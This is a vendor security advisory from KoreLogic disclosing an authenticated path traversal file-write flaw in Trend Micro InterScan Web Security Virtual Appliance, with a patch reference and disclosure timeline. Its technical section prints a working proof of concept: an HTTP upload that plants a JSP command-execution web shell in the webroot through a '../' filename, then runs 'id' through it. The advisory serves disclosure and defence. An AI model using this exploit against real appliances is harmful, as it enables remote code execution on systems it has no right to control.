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Security Advisory

Trendmicro InterScan Arbitrary File Write

Advisory ID
KL-001-2017-001
Published
2017-02-15
Vendor
Trendmicro

Affected Systems

Product
InterScan Web Security Virtual Appliance
Version
OS Version 3.5.1321.el6.x86_64; Application
Platform
Embedded Linux

Discovered By

Matt Bergin (KoreLogic)
Download (signed .txt)
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Vulnerability Details

Affected Vendor: Trendmicro
Affected Product: InterScan Web Security Virtual Appliance
Affected Version: OS Version 3.5.1321.el6.x86_64; Application
Platform: Embedded Linux
CWE Classification: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-434: Unrestricted Upload of File with Dangerous Type
Impact: Remote Code Execution
Attack Vector: HTTP

Vulnerability Description

An authenticated user can create files on the local system. This can lead to remote command execution as an authenticated user.

Technical Description

A servlet takes an arbitrary file path as an output filename, and the webserver can create files in the webroot. So, a malicious .jsp can be uploaded and then executed through a subsequent request to the webserver. Shell courtesy the fuzzdb-project (https://github.com/fuzzdb-project/fuzzdb/blob/master/web-backdoors/jsp/cmd.jsp).

POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=upload_check HTTP/1.1
Host: 1.3.3.7:8443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://1.3.3.7:8443/config_backup_collapsed.jsp
Cookie: JSESSIONID=E600D5296A2282C4C7AD46BCDAADEB47
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------135470425518767155135967265
Content-Length: 1486

-----------------------------135470425518767155135967265
Content-Disposition: form-data; name="CSRFGuardToken"

4POCBRSFC1TYEO2D5IHNLLJAX27BNBLF
-----------------------------135470425518767155135967265
Content-Disposition: form-data; name="op"

save
-----------------------------135470425518767155135967265
Content-Disposition: form-data; name="uploadfile"; filename="../../../../usr/iwss/AdminUI/tomcat/webapps/ROOT/korelogic.jsp"

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr);
                disr = dis.readLine();
                }
        }
%>
</pre>
</BODY></HTML>
-----------------------------135470425518767155135967265
Content-Disposition: form-data; name="beFullyOrPartially"

0
-----------------------------135470425518767155135967265--
HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Location: https://1.3.3.7:8443/config_backup_collapsed.jsp?CSRFGuardToken=4POCBRSFC1TYEO2D5IHNLLJAX27BNBLF&errorMessage=6
Content-Length: 0
Date: Tue, 25 Oct 2016 14:36:07 GMT
Connection: close
GET /korelogic.jsp?CSRFGuardToken=4POCBRSFC1TYEO2D5IHNLLJAX27BNBLF&cmd=id HTTP/1.1
Host: 1.3.3.7:8443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://1.3.3.7:8443/korelogic.jsp
Cookie: JSESSIONID=E600D5296A2282C4C7AD46BCDAADEB47
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html
Content-Length: 320
Date: Tue, 25 Oct 2016 14:37:58 GMT
Connection: close

<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<input type="hidden" name="CSRFGuardToken" value="4POCBRSFC1TYEO2D5IHNLLJAX27BNBLF">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
Command: id<BR>
uid=498(iscan) gid=499(iscan) groups=499(iscan)

</pre>
</BODY></HTML>

Mitigation and Remediation Recommendation

The vendor has issued a patch for this vulnerability in Version 6.5 CP 1737. Security advisory and link to the patched version available at:

https://success.trendmicro.com/solution/1116672

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

Disclosure Timeline

KoreLogic sends vulnerability report and PoC to Trendmicro.

Trendmicro acknowledges receipt of report.

Trendmicro informs KoreLogic that the patch to this and other KoreLogic reported issues will likely be available after the 45 business day deadline (2017.02.16).

Trendmicro informs KoreLogic that the patched version will be available by 2017.02.14.

Trendmicro security advisory released.

KoreLogic public disclosure.

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Responsible Disclosure

KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.

Vendor notification and coordination
90+ day disclosure timeline
CVE coordination when applicable

Resources & Downloads

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